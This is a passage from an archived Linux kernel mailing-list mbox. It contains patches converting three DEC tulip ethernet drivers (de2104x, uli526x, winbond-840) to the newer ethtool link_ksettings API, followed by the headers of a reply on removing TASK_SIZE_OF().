        by smtp.gmail.com with ESMTPSA id w197sm80455764wmd.11.2017.01.01.10.05.45
        (version=TLS1 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sun, 01 Jan 2017 10:05:46 -0800 (PST)
X-Mailer: git-send-email 1.7.4.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27127 gmane.linux.network:447644 gmane.linux.kernel:2377561
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27127>

The ethtool api {get|set}_settings is deprecated.
We move this driver to new api {get|set}_link_ksettings.

Signed-off-by: Philippe Reynes <tremyfr@gmail.com>
---
 drivers/net/ethernet/dec/tulip/de2104x.c |   91 +++++++++++++++++-------------
 1 files changed, 51 insertions(+), 40 deletions(-)

diff --git a/drivers/net/ethernet/dec/tulip/de2104x.c b/drivers/net/ethernet/dec/tulip/de2104x.c
index 57c17e7..127ce970 100644
--- a/drivers/net/ethernet/dec/tulip/de2104x.c
+++ b/drivers/net/ethernet/dec/tulip/de2104x.c
@@ -1485,95 +1485,104 @@ static void __de_get_regs(struct de_private *de, u8 *buf)
 	de_rx_missed(de, rbuf[8]);
 }
 
-static int __de_get_settings(struct de_private *de, struct ethtool_cmd *ecmd)
+static int __de_get_link_ksettings(struct de_private *de,
+				   struct ethtool_link_ksettings *cmd)
 {
-	ecmd->supported = de->media_supported;
-	ecmd->transceiver = XCVR_INTERNAL;
-	ecmd->phy_address = 0;
-	ecmd->advertising = de->media_advertise;
+	ethtool_convert_legacy_u32_to_link_mode(cmd->link_modes.supported,
+						de->media_supported);
+	cmd->base.phy_address = 0;
+	ethtool_convert_legacy_u32_to_link_mode(cmd->link_modes.advertising,
+						de->media_advertise);
 
 	switch (de->media_type) {
 	case DE_MEDIA_AUI:
-		ecmd->port = PORT_AUI;
+		cmd->base.port = PORT_AUI;
 		break;
 	case DE_MEDIA_BNC:
-		ecmd->port = PORT_BNC;
+		cmd->base.port = PORT_BNC;
 		break;
 	default:
-		ecmd->port = PORT_TP;
+		cmd->base.port = PORT_TP;
 		break;
 	}
 
-	ethtool_cmd_speed_set(ecmd, 10);
+	cmd->base.speed = 10;
 
 	if (dr32(MacMode) & FullDuplex)
-		ecmd->duplex = DUPLEX_FULL;
+		cmd->base.duplex = DUPLEX_FULL;
 	else
-		ecmd->duplex = DUPLEX_HALF;
+		cmd->base.duplex = DUPLEX_HALF;
 
 	if (de->media_lock)
-		ecmd->autoneg = AUTONEG_DISABLE;
+		cmd->base.autoneg = AUTONEG_DISABLE;
 	else
-		ecmd->autoneg = AUTONEG_ENABLE;
+		cmd->base.autoneg = AUTONEG_ENABLE;
 
 	/* ignore maxtxpkt, maxrxpkt for now */
 
 	return 0;
 }
 
-static int __de_set_settings(struct de_private *de, struct ethtool_cmd *ecmd)
+static int __de_set_link_ksettings(struct de_private *de,
+				   const struct ethtool_link_ksettings *cmd)
 {
 	u32 new_media;
 	unsigned int media_lock;
+	u8 duplex = cmd->base.duplex;
+	u8 port = cmd->base.port;
+	u8 autoneg = cmd->base.autoneg;
+	u32 advertising;
 
-	if (ethtool_cmd_speed(ecmd) != 10)
-		return -EINVAL;
-	if (ecmd->duplex != DUPLEX_HALF && ecmd->duplex != DUPLEX_FULL)
+	ethtool_convert_link_mode_to_legacy_u32(&advertising,
+						cmd->link_modes.advertising);
+
+	if (cmd->base.speed != 10)
 		return -EINVAL;
-	if (ecmd->port != PORT_TP && ecmd->port != PORT_AUI && ecmd->port != PORT_BNC)
+	if (duplex != DUPLEX_HALF && duplex != DUPLEX_FULL)
 		return -EINVAL;
-	if (de->de21040 && ecmd->port == PORT_BNC)
+	if (port != PORT_TP && port != PORT_AUI && port != PORT_BNC)
 		return -EINVAL;
-	if (ecmd->transceiver != XCVR_INTERNAL)
+	if (de->de21040 && port == PORT_BNC)
 		return -EINVAL;
-	if (ecmd->autoneg != AUTONEG_DISABLE && ecmd->autoneg != AUTONEG_ENABLE)
+	if (autoneg != AUTONEG_DISABLE && autoneg != AUTONEG_ENABLE)
 		return -EINVAL;
-	if (ecmd->advertising & ~de->media_supported)
+	if (advertising & ~de->media_supported)
 		return -EINVAL;
-	if (ecmd->autoneg == AUTONEG_ENABLE &&
-	    (!(ecmd->advertising & ADVERTISED_Autoneg)))
+	if (autoneg == AUTONEG_ENABLE &&
+	    (!(advertising & ADVERTISED_Autoneg)))
 		return -EINVAL;
 
-	switch (ecmd->port) {
+	switch (port) {
 	case PORT_AUI:
 		new_media = DE_MEDIA_AUI;
-		if (!(ecmd->advertising & ADVERTISED_AUI))
+		if (!(advertising & ADVERTISED_AUI))
 			return -EINVAL;
 		break;
 	case PORT_BNC:
 		new_media = DE_MEDIA_BNC;
-		if (!(ecmd->advertising & ADVERTISED_BNC))
+		if (!(advertising & ADVERTISED_BNC))
 			return -EINVAL;
 		break;
 	default:
-		if (ecmd->autoneg == AUTONEG_ENABLE)
+		if (autoneg == AUTONEG_ENABLE)
 			new_media = DE_MEDIA_TP_AUTO;
-		else if (ecmd->duplex == DUPLEX_FULL)
+		else if (duplex == DUPLEX_FULL)
 			new_media = DE_MEDIA_TP_FD;
 		else
 			new_media = DE_MEDIA_TP;
-		if (!(ecmd->advertising & ADVERTISED_TP))
+		if (!(advertising & ADVERTISED_TP))
 			return -EINVAL;
-		if (!(ecmd->advertising & (ADVERTISED_10baseT_Full | ADVERTISED_10baseT_Half)))
+		if (!(advertising & (ADVERTISED_10baseT_Full |
+				     ADVERTISED_10baseT_Half)))
 			return -EINVAL;
 		break;
 	}
 
-	media_lock = (ecmd->autoneg == AUTONEG_ENABLE) ? 0 : 1;
+	media_lock = (autoneg == AUTONEG_ENABLE) ? 0 : 1;
 
 	if ((new_media == de->media_type) &&
 	    (media_lock == de->media_lock) &&
-	    (ecmd->advertising == de->media_advertise))
+	    (advertising == de->media_advertise))
 		return 0; /* nothing to change */
 
 	de_link_down(de);
@@ -1582,7 +1591,7 @@ static int __de_set_settings(struct de_private *de, struct ethtool_cmd *ecmd)
 
 	de->media_type = new_media;
 	de->media_lock = media_lock;
-	de->media_advertise = ecmd->advertising;
+	de->media_advertise = advertising;
 	de_set_media(de);
 	if (netif_running(de->dev))
 		de_start_rxtx(de);
@@ -1604,25 +1613,27 @@ static int de_get_regs_len(struct net_device *dev)
 	return DE_REGS_SIZE;
 }
 
-static int de_get_settings(struct net_device *dev, struct ethtool_cmd *ecmd)
+static int de_get_link_ksettings(struct net_device *dev,
+				 struct ethtool_link_ksettings *cmd)
 {
 	struct de_private *de = netdev_priv(dev);
 	int rc;
 
 	spin_lock_irq(&de->lock);
-	rc = __de_get_settings(de, ecmd);
+	rc = __de_get_link_ksettings(de, cmd);
 	spin_unlock_irq(&de->lock);
 
 	return rc;
 }
 
-static int de_set_settings(struct net_device *dev, struct ethtool_cmd *ecmd)
+static int de_set_link_ksettings(struct net_device *dev,
+				 const struct ethtool_link_ksettings *cmd)
 {
 	struct de_private *de = netdev_priv(dev);
 	int rc;
 
 	spin_lock_irq(&de->lock);
-	rc = __de_set_settings(de, ecmd);
+	rc = __de_set_link_ksettings(de, cmd);
 	spin_unlock_irq(&de->lock);
 
 	return rc;
@@ -1690,13 +1701,13 @@ static void de_get_regs(struct net_device *dev, struct ethtool_regs *regs,
 	.get_link		= ethtool_op_get_link,
 	.get_drvinfo		= de_get_drvinfo,
 	.get_regs_len		= de_get_regs_len,
-	.get_settings		= de_get_settings,
-	.set_settings		= de_set_settings,
 	.get_msglevel		= de_get_msglevel,
 	.set_msglevel		= de_set_msglevel,
 	.get_eeprom		= de_get_eeprom,
 	.nway_reset		= de_nway_reset,
 	.get_regs		= de_get_regs,
+	.get_link_ksettings	= de_get_link_ksettings,
+	.set_link_ksettings	= de_set_link_ksettings,
 };
 
 static void de21040_get_mac_address(struct de_private *de)
-- 
1.7.4.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Philippe Reynes <tremyfr@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel
Subject: [PATCH] net: dec: uli526x: use new api ethtool_{get|set}_link_ksettings
Date: Sun,  1 Jan 2017 19:11:06 +0100
Lines: 114
Approved: news@gmane.org
Message-ID: <1483294266-6222-1-git-send-email-tremyfr@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1483294287 14693 195.159.176.226 (1 Jan 2017 18:11:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 1 Jan 2017 18:11:27 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org, Philippe Reynes <tremyfr@gmail.com>
To: davem@davemloft.net, mugunthanvnm@ti.com, a@unstable.cc,
        fw@strlen.de, jarod@redhat.com
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 01 19:11:22 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cNkbI-00034N-Vy
	for glpp-linux-parisc@m.gmane.org; Sun, 01 Jan 2017 19:11:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932266AbdAASLY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 1 Jan 2017 13:11:24 -0500
Original-Received: from mail-wm0-f68.google.com ([74.125.82.68]:34571 "EHLO
        mail-wm0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932183AbdAASLX (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 1 Jan 2017 13:11:23 -0500
Original-Received: by mail-wm0-f68.google.com with SMTP id c85so40963733wmi.1;
        Sun, 01 Jan 2017 10:11:22 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=hqbC4e2g+N7xeKoHkILSHYZKjKMuxTX04Eo3kHo/G8o=;
        b=IceU6DMGhBatNLXGFFwF85LHm2AVvJbagie/a/CXnNKtoDaRa0wckKYYF0yC6Yd0Na
         1oe0Ok6z+kGG8lyHya7Xd+t+X5DBYL2o7CR0s9qk0I/br/dNn5U9+H/xDHsQrzykEFWS
         BPhuU2J+37UCyi6PPcDuN8R/Cv4Bjil2IBmfBv36/1+Od5pSqhIEQxQc+ziz05YtSs9m
         dTAJ2qavGSUPNsBlnH9ld8DXadxoVkM8BJO2Maz12fHKxo3dzcly75jczLDIUdc4arJk
         F36I1U7Z3c/8ExOFBdf+BBa8FKEX3nT/+SKk1sJiAbEH/wPgtakFHXa8eQOhnMIg4X/a
         Q9aw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=hqbC4e2g+N7xeKoHkILSHYZKjKMuxTX04Eo3kHo/G8o=;
        b=FQBZ6VDCG1T+JLgosgyznLq9MRhAjtNKAw/j9WbTIx/UAl56Jd1ArcQqRDsGUsmiGS
         cJ36ZZ6Iw69wG1jx8oivDnqiYARaOo9fPNLbeDLoYIffMOPsYCC1dlUPzDIM0qQzufAd
         +BNC4Oc2VGRd83abjf4iu872EMbj+5QyJg5CX/AESj3dkm6+lDdP9/8h4BYVeyokBTCD
         EcC4bgm546n4ErW1/BYgf7tJ1NNr4yy9+Rh5VuQ9ABFBWSOPXgPJDLqii+zTwJ8hMY0Y
         JMQDtR/HaPrbG+ucxOQ8a9C5nTNDF2tFT5g9U2GlhhL2HKXmQCNTUrjggvYH3c04Prwm
         QtzA==
X-Gm-Message-State: AIkVDXJ7Y9tihOTovPOXByupwPI0JenlkljAmurJYqQYG5CpFv6OWQnIJQvSGuXCfWsmBQ==
X-Received: by 10.28.48.145 with SMTP id w139mr51037135wmw.113.1483294281344;
        Sun, 01 Jan 2017 10:11:21 -0800 (PST)
Original-Received: from localhost.localdomain (bny93-7-88-161-33-221.fbx.proxad.net. [88.161.33.221])
        by smtp.gmail.com with ESMTPSA id i15sm83759214wjs.16.2017.01.01.10.11.20
        (version=TLS1 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sun, 01 Jan 2017 10:11:20 -0800 (PST)
X-Mailer: git-send-email 1.7.4.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27128 gmane.linux.network:447645 gmane.linux.kernel:2377562
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27128>

The ethtool api {get|set}_settings is deprecated.
We move this driver to new api {get|set}_link_ksettings.

Signed-off-by: Philippe Reynes <tremyfr@gmail.com>
---
 drivers/net/ethernet/dec/tulip/uli526x.c |   41 +++++++++++++++++------------
 1 files changed, 24 insertions(+), 17 deletions(-)

diff --git a/drivers/net/ethernet/dec/tulip/uli526x.c b/drivers/net/ethernet/dec/tulip/uli526x.c
index f82ebe5..8d98b259 100644
--- a/drivers/net/ethernet/dec/tulip/uli526x.c
+++ b/drivers/net/ethernet/dec/tulip/uli526x.c
@@ -926,48 +926,53 @@ static void uli526x_set_filter_mode(struct net_device * dev)
 }
 
 static void
-ULi_ethtool_gset(struct uli526x_board_info *db, struct ethtool_cmd *ecmd)
+ULi_ethtool_get_link_ksettings(struct uli526x_board_info *db,
+			       struct ethtool_link_ksettings *cmd)
 {
-	ecmd->supported = (SUPPORTED_10baseT_Half |
+	u32 supported, advertising;
+
+	supported = (SUPPORTED_10baseT_Half |
 	                   SUPPORTED_10baseT_Full |
 	                   SUPPORTED_100baseT_Half |
 	                   SUPPORTED_100baseT_Full |
 	                   SUPPORTED_Autoneg |
 	                   SUPPORTED_MII);
 
-	ecmd->advertising = (ADVERTISED_10baseT_Half |
+	advertising = (ADVERTISED_10baseT_Half |
 	                   ADVERTISED_10baseT_Full |
 	                   ADVERTISED_100baseT_Half |
 	                   ADVERTISED_100baseT_Full |
 	                   ADVERTISED_Autoneg |
 	                   ADVERTISED_MII);
 
+	ethtool_convert_legacy_u32_to_link_mode(cmd->link_modes.supported,
+						supported);
+	ethtool_convert_legacy_u32_to_link_mode(cmd->link_modes.advertising,
+						advertising);
 
-	ecmd->port = PORT_MII;
-	ecmd->phy_address = db->phy_addr;
-
-	ecmd->transceiver = XCVR_EXTERNAL;
+	cmd->base.port = PORT_MII;
+	cmd->base.phy_address = db->phy_addr;
 
-	ethtool_cmd_speed_set(ecmd, SPEED_10);
-	ecmd->duplex = DUPLEX_HALF;
+	cmd->base.speed = SPEED_10;
+	cmd->base.duplex = DUPLEX_HALF;
 
 	if(db->op_mode==ULI526X_100MHF || db->op_mode==ULI526X_100MFD)
 	{
-		ethtool_cmd_speed_set(ecmd, SPEED_100);
+		cmd->base.speed = SPEED_100;
 	}
 	if(db->op_mode==ULI526X_10MFD || db->op_mode==ULI526X_100MFD)
 	{
-		ecmd->duplex = DUPLEX_FULL;
+		cmd->base.duplex = DUPLEX_FULL;
 	}
 	if(db->link_failed)
 	{
-		ethtool_cmd_speed_set(ecmd, SPEED_UNKNOWN);
-		ecmd->duplex = DUPLEX_UNKNOWN;
+		cmd->base.speed = SPEED_UNKNOWN;
+		cmd->base.duplex = DUPLEX_UNKNOWN;
 	}
 
 	if (db->media_mode & ULI526X_AUTO)
 	{
-		ecmd->autoneg = AUTONEG_ENABLE;
+		cmd->base.autoneg = AUTONEG_ENABLE;
 	}
 }
 
@@ -981,10 +986,12 @@ static void netdev_get_drvinfo(struct net_device *dev,
 	strlcpy(info->bus_info, pci_name(np->pdev), sizeof(info->bus_info));
 }
 
-static int netdev_get_settings(struct net_device *dev, struct ethtool_cmd *cmd) {
+static int netdev_get_link_ksettings(struct net_device *dev,
+				     struct ethtool_link_ksettings *cmd)
+{
 	struct uli526x_board_info *np = netdev_priv(dev);
 
-	ULi_ethtool_gset(np, cmd);
+	ULi_ethtool_get_link_ksettings(np, cmd);
 
 	return 0;
 }
@@ -1006,9 +1013,9 @@ static void uli526x_get_wol(struct net_device *dev, struct ethtool_wolinfo *wol)
 
 static const struct ethtool_ops netdev_ethtool_ops = {
 	.get_drvinfo		= netdev_get_drvinfo,
-	.get_settings		= netdev_get_settings,
 	.get_link		= netdev_get_link,
 	.get_wol		= uli526x_get_wol,
+	.get_link_ksettings	= netdev_get_link_ksettings,
 };
 
 /*
-- 
1.7.4.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Philippe Reynes <tremyfr@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: [PATCH] net: dec: winbond-840: use new api ethtool_{get|set}_link_ksettings
Date: Sun,  1 Jan 2017 20:47:01 +0100
Lines: 63
Approved: news@gmane.org
Message-ID: <1483300021-21783-1-git-send-email-tremyfr@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1483300037 2159 195.159.176.226 (1 Jan 2017 19:47:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 1 Jan 2017 19:47:17 +0000 (UTC)
Cc: netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org, Philippe Reynes <tremyfr@gmail.com>
To: davem@davemloft.net, mugunthanvnm@ti.com, a@unstable.cc,
        fw@strlen.de, jarod@redhat.com
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Jan 01 20:47:13 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cNm62-0007uh-D6
	for glk-linux-kernel-3@m.gmane.org; Sun, 01 Jan 2017 20:47:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932418AbdAATrM (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sun, 1 Jan 2017 14:47:12 -0500
Original-Received: from mail-wm0-f65.google.com ([74.125.82.65]:34970 "EHLO
        mail-wm0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932350AbdAATrK (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 1 Jan 2017 14:47:10 -0500
Original-Received: by mail-wm0-f65.google.com with SMTP id l2so54033838wml.2;
        Sun, 01 Jan 2017 11:47:09 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=Gkb9UQXQLZvTMfoB3oItgemK4bjGlcgJifcfKavPgwc=;
        b=YNW/8J/2mGcs1v6TKbt30ysv7nd9v38QT/0sKt4mM7tWq6vdfZh7/y9G/TdfYIQfgp
         bqjFO6kyIhNfLjRbEYgaY9nq4w8HUFKPbBwTSayswtpWzknSz5V2vbWIzzE3UgJk5m+9
         l+tHH4gZdxnBHBrVb6gdQQW9CW9VZLjHiZwWHfvk30mfskyxXhGqxD0W0DWNFEINjiGt
         7N/TPh9QptTuPs1Pkgr/y3F9vQ8Kj4crky08GsTalNSQ2QwnllMjL3g5sHU7fL9Tlp8M
         KbUsYBG+X4OuITMsUvRekQ8Z59gPVFXUnF/UGSXnB5x4FElj/Xu75qbkBvB632aaA/dx
         mqxg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=Gkb9UQXQLZvTMfoB3oItgemK4bjGlcgJifcfKavPgwc=;
        b=hWico2vH98HMD1upvuM6+B8DCywVerlv3+PHoHpiDkBtlF1UlZrpFpEdSg3zzOQIjj
         9SX4hElzXYBBl7w5yKKf4m2EuvRgbQhYGNiSqeed/+M00x0oq6lm11bGHP51nWnJD4E5
         mOoJTcMfl6PZt3pCIBxOToctJouGAUgJDENijbL4aQhlLIGZmsh+k1vKJop7nIo0wIDj
         EXJE99029x+QZBHPkS+JROCtRRwqcLDaGZSO0EuPSrq+6jKeQe4MlLPoVT1MZoD2yIGV
         px5TTzW8TnG+jdf/r0seBMiTu4FiYohGhNhfD7nbv1vopJn/myJkMaX0deWPIzlza0g9
         O6ng==
X-Gm-Message-State: AIkVDXL4Aby2cLUmCUoK0/kylOInngkGJoXneNX5wGE3FB2Y+DXbEQRajjbsDFMbCS+cRg==
X-Received: by 10.28.134.204 with SMTP id i195mr44877492wmd.77.1483300028669;
        Sun, 01 Jan 2017 11:47:08 -0800 (PST)
Original-Received: from localhost.localdomain (bny93-7-88-161-33-221.fbx.proxad.net. [88.161.33.221])
        by smtp.gmail.com with ESMTPSA id r7sm84336660wjp.43.2017.01.01.11.47.07
        (version=TLS1 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sun, 01 Jan 2017 11:47:07 -0800 (PST)
X-Mailer: git-send-email 1.7.4.4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2377566 gmane.linux.network:447648 gmane.linux.ports.parisc:27129
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2377566>

The ethtool api {get|set}_settings is deprecated.
We move this driver to new api {get|set}_link_ksettings.

Signed-off-by: Philippe Reynes <tremyfr@gmail.com>
---
 drivers/net/ethernet/dec/tulip/winbond-840.c |   14 ++++++++------
 1 files changed, 8 insertions(+), 6 deletions(-)

diff --git a/drivers/net/ethernet/dec/tulip/winbond-840.c b/drivers/net/ethernet/dec/tulip/winbond-840.c
index bc9bf88..d1f2f3c 100644
--- a/drivers/net/ethernet/dec/tulip/winbond-840.c
+++ b/drivers/net/ethernet/dec/tulip/winbond-840.c
@@ -1391,25 +1391,27 @@ static void netdev_get_drvinfo (struct net_device *dev, struct ethtool_drvinfo *
 	strlcpy(info->bus_info, pci_name(np->pci_dev), sizeof(info->bus_info));
 }
 
-static int netdev_get_settings(struct net_device *dev, struct ethtool_cmd *cmd)
+static int netdev_get_link_ksettings(struct net_device *dev,
+				     struct ethtool_link_ksettings *cmd)
 {
 	struct netdev_private *np = netdev_priv(dev);
 	int rc;
 
 	spin_lock_irq(&np->lock);
-	rc = mii_ethtool_gset(&np->mii_if, cmd);
+	rc = mii_ethtool_get_link_ksettings(&np->mii_if, cmd);
 	spin_unlock_irq(&np->lock);
 
 	return rc;
 }
 
-static int netdev_set_settings(struct net_device *dev, struct ethtool_cmd *cmd)
+static int netdev_set_link_ksettings(struct net_device *dev,
+				     const struct ethtool_link_ksettings *cmd)
 {
 	struct netdev_private *np = netdev_priv(dev);
 	int rc;
 
 	spin_lock_irq(&np->lock);
-	rc = mii_ethtool_sset(&np->mii_if, cmd);
+	rc = mii_ethtool_set_link_ksettings(&np->mii_if, cmd);
 	spin_unlock_irq(&np->lock);
 
 	return rc;
@@ -1439,12 +1441,12 @@ static void netdev_set_msglevel(struct net_device *dev, u32 value)
 
 static const struct ethtool_ops netdev_ethtool_ops = {
 	.get_drvinfo		= netdev_get_drvinfo,
-	.get_settings		= netdev_get_settings,
-	.set_settings		= netdev_set_settings,
 	.nway_reset		= netdev_nway_reset,
 	.get_link		= netdev_get_link,
 	.get_msglevel		= netdev_get_msglevel,
 	.set_msglevel		= netdev_set_msglevel,
+	.get_link_ksettings	= netdev_get_link_ksettings,
+	.set_link_ksettings	= netdev_set_link_ksettings,
 };
 
 static int netdev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd)
-- 
1.7.4.4



From - Thu Nov 08 21:39:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Heiko Carstens <heiko.carstens@de.ibm.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC 1/4] mm: remove unused TASK_SIZE_OF()
Date: Mon, 2 Jan 2017 07:57:13 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20170102065713.GB4779@osiris>
References: <20161230155634.8692-1-dsafonov@virtuozzo.com>
 <20161230155634.8692-2-dsafonov@virtuozzo.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1483340257 1738 195.159.176.226 (2 Jan 2017 06:57:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 2 Jan 2017 06:57:37 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: linux-kernel@vger.kernel.org, 0x7f454c46@gmail.com,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        "David S. Miller" <davem@davemloft.net>,
        Peter Zijlstra <peterz@infradead.org>,
        linux-arm-kernel@lists.infradead.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, sparclinux@vger.kernel.org,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvi
To: Dmitry Safonov <dsafonov@virtuozzo.com>
Original-X-From: sparclinux-owner@vger.kernel.org Mon Jan 02 07:57:25 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1cNwYe-0004K9-6L
	for lnx-sparclinux@m.gmane.org; Mon, 02 Jan 2017 07:57:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754799AbdABG51 (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Mon, 2 Jan 2017 01:57:27 -0500
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]:42024 "EHLO
        mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1754013AbdABG50 (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Mon, 2 Jan 2017 01:57:26 -0500
Original-Received: from pps.filterd (m0098417.ppops.net [127.0.0.1])
        by mx0a-001b2d01.pphosted.com (8.16.0.17/8.16.0.17) with SMTP id v026sA42035325
        for <sparclinux@vger.kernel.org>; Mon, 2 Jan 2017 01:57:25 -0500
Original-Received: from e06smtp14.uk.ibm.com (e06smtp14.uk.ibm.com [195.75.94.110])
        by mx0a-001b2d01.pphosted.com with ESMTP id 27q38vdaj3-1
        (version=TLSv1.2 cipher=AES256-SHA bits=256 verify=NOT)
        for <sparclinux@vger.kernel.org>; Mon, 02 Jan 2017 01:57:25 -0500
Original-Received: from localhost
        by e06smtp14.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
        for <sparclinux@vger.kernel.org> from <heiko.carstens@de.ibm.com>;
        Mon, 2 Jan 2017 06:57:23 -0000
Original-Received: from d06dlp02.portsmouth.uk.ibm.com (9.149.20.14)
        by e06smtp14.uk.ibm.com (192.168.101.144) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
        Mon, 2 Jan 2017 06:57:16 -0000
Original-Received: from b06cxnps3074.portsmouth.uk.ibm.com (d06relay09.portsmouth.uk.ibm.com [9.149.109.194])
        by d06dlp02.portsmouth.uk.ibm.com (Postfix) with ESMTP id AFDD22190019;
        Mon,  2 Jan 2017 06:56:24 +0000 (GMT)
Original-Received: from d06av24.portsmouth.uk.ibm.com (d06av24.portsmouth.uk.ibm.com [9.149.105.60])
        by b06cxnps3074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id v026vGMU14614816;
        Mon, 2 Jan 2017 06:57:16 GMT
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 3853B42041;
        Mon,  2 Jan 2017 05:55:15 +0000 (GMT)
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
